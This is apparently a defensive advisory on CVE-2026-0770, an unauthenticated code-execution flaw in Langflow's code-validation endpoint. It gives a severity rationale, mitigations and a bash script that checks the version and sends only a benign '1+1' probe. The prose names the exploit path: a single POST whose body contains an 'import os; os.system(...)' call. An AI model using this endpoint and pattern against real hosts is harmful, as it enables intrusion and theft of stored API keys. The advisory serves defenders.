Langflow exec_globals Inclusion of Functionality from Untrusted Control Sphere Remote Code Execution…

Langflow's /api/v1/validate/code endpoint accepts a JSON body containing Python source and passes it to a validate_code() routine that calls exec() against an exec_globals context populated with importlib and the full Python builtins. No authentication is required, no sandbox is applied, and no allow-list constrains the AST — attackers simply import os; os.system(...) and land as whatever user runs the Langflow process, which is root in the official container. Affected versions are Langflow ≤ 1.7.3; the fix ships in 1.7.4+.

Vendor's 9.8 CRITICAL is not just accurate — it undersells the operational reality. This is a pre-auth, network-reachable, one-request RCE on a service class (LLM/agent orchestration) whose entire purpose is to hold API keys for OpenAI, Anthropic, AWS Bedrock, Pinecone, and internal data connectors. The blast radius isn't a single container; it's every downstream credential wired into the flow graph.

Why this verdict

• Pre-auth, one-request RCE: the friction audit yields nothing — no authentication, no user interaction, no chained bug. Baseline stays at 9.8.
• KEV-listed with observed exploitation: removes any argument for waiting on exploit maturity; scanning is already ongoing.
• Role multiplier: Langflow is *by definition* an AI-orchestration credential broker holding OpenAI/Anthropic/AWS/Pinecone keys plus DB connectors. Chain terminates in provider-key theft and cloud pivot on ≥90% of real deployments — CRITICAL floor is locked in by the deployment-role rule.
• Public PoCs are trivial curl one-liners: commodity attackers, cryptominer operators, and access brokers can weaponize without skill.
• Container often runs as root: the official image escalates blast radius to container-full-control, easing lateral movement and persistence.

Why not higher?

CRITICAL is already the top severity bucket. The only reason to consider special-case escalation would be worm-like propagation, and this bug is a single-service RCE — post-exploitation lateral movement depends on stolen credentials, not automated network spread.

Why not lower?

Any downgrade would require evidence of narrow exposure — but Langflow's default deployment posture is internet-reachable on port 7860 with no auth wrapper, and the payload is a single unauthenticated POST. The KEV listing and observed in-the-wild use forbid a HIGH downgrade under noisgate rules.

1. Block /api/v1/validate/code at the reverse proxy — If you cannot immediately upgrade, drop the vulnerable path at your NGINX/Envoy/ALB layer. This is the exact URI attackers hit. Deploy within 3 days per noisgate CRITICAL mitigation SLA.
2. Move Langflow behind SSO / mTLS with pre-auth — Front the API with OAuth2 proxy, Cloudflare Access, or equivalent so unauthenticated requests never reach the app. Applies within the same 3-day window.
3. Rotate all provider API keys and cloud IAM secrets stored in Langflow — Assume compromise if the host was internet-reachable at any point since 2026-01-23. Rotate OpenAI, Anthropic, AWS, and vector-DB keys, and audit CloudTrail / provider access logs for anomalous calls.
4. Enforce IMDSv2 with hop-limit=1 on cloud VMs hosting Langflow — Blocks container-scope theft of instance-role credentials, a known post-exploitation TTP against Langflow.
5. Run the container as non-root with a read-only rootfs — Kubernetes securityContext.runAsNonRoot: true and readOnlyRootFilesystem: true reduce persistence and privilege escalation options if the exec still lands.

Run this on the Langflow host (or from an auditor workstation with a URL argument) as any user; no privileges required. Invocation: ./check_cve_2026_0770.sh https://langflow.internal:7860 — omit the URL argument to inspect a local langflow Python install via pip show.

#!/usr/bin/env bash
# noisgate check: CVE-2026-0770 Langflow validate_code() RCE
# Usage:
#   ./check_cve_2026_0770.sh                        # local pip check
#   ./check_cve_2026_0770.sh https://host:7860      # remote version + endpoint probe
set -u
TARGET="${1:-}"
FIXED_MAJOR=1; FIXED_MINOR=7; FIXED_PATCH=4

verlt() { # returns 0 if $1 < $2
  [ "$1" = "$2" ] && return 1
  printf '%s\n%s\n' "$1" "$2" | sort -V | head -n1 | grep -qx "$1"
}

if [ -z "$TARGET" ]; then
  V=$(pip show langflow 2>/dev/null | awk '/^Version:/ {print $2}')
  if [ -z "$V" ]; then echo "UNKNOWN: langflow not found via pip"; exit 2; fi
  if verlt "$V" "${FIXED_MAJOR}.${FIXED_MINOR}.${FIXED_PATCH}"; then
    echo "VULNERABLE: langflow $V < ${FIXED_MAJOR}.${FIXED_MINOR}.${FIXED_PATCH}"; exit 1
  else
    echo "PATCHED: langflow $V"; exit 0
  fi
fi

# Remote probe: fetch version, then confirm endpoint responds to a benign body
VJSON=$(curl -sk --max-time 8 "${TARGET%/}/api/v1/version")
V=$(echo "$VJSON" | grep -oE '"version"\s*:\s*"[^"]+"' | head -1 | sed -E 's/.*"([^"]+)"$/\1/')
if [ -z "$V" ]; then echo "UNKNOWN: could not read version from $TARGET"; exit 2; fi

CODE=$(curl -sk -o /dev/null -w '%{http_code}' --max-time 8 \
  -H 'Content-Type: application/json' \
  -d '{"code":"1+1"}' \
  "${TARGET%/}/api/v1/validate/code")

if verlt "$V" "${FIXED_MAJOR}.${FIXED_MINOR}.${FIXED_PATCH}" && [ "$CODE" = "200" ]; then
  echo "VULNERABLE: $TARGET langflow $V, /api/v1/validate/code reachable unauthenticated (HTTP $CODE)"; exit 1
elif verlt "$V" "${FIXED_MAJOR}.${FIXED_MINOR}.${FIXED_PATCH}"; then
  echo "VULNERABLE: $TARGET langflow $V (endpoint returned HTTP $CODE — still below fixed version)"; exit 1
else
  echo "PATCHED: $TARGET langflow $V"; exit 0
fi

Sources

1. GitHub Security Advisory GHSA-g22f-v6f7-2hrh
2. CVE-2026-0770 PoC (affix)
3. CVE-2026-0770 PoC (0xgh057r3c0n)
4. OSV entry for CVE-2026-0770
5. CIRCL Vulnerability-Lookup CVE-2026-0770
6. Sysdig — Langflow AI Pipeline RCE post-exploitation
7. CSO Online — CISA sounds alarm on Langflow exploitation
8. The Hacker News — CISA KEV addition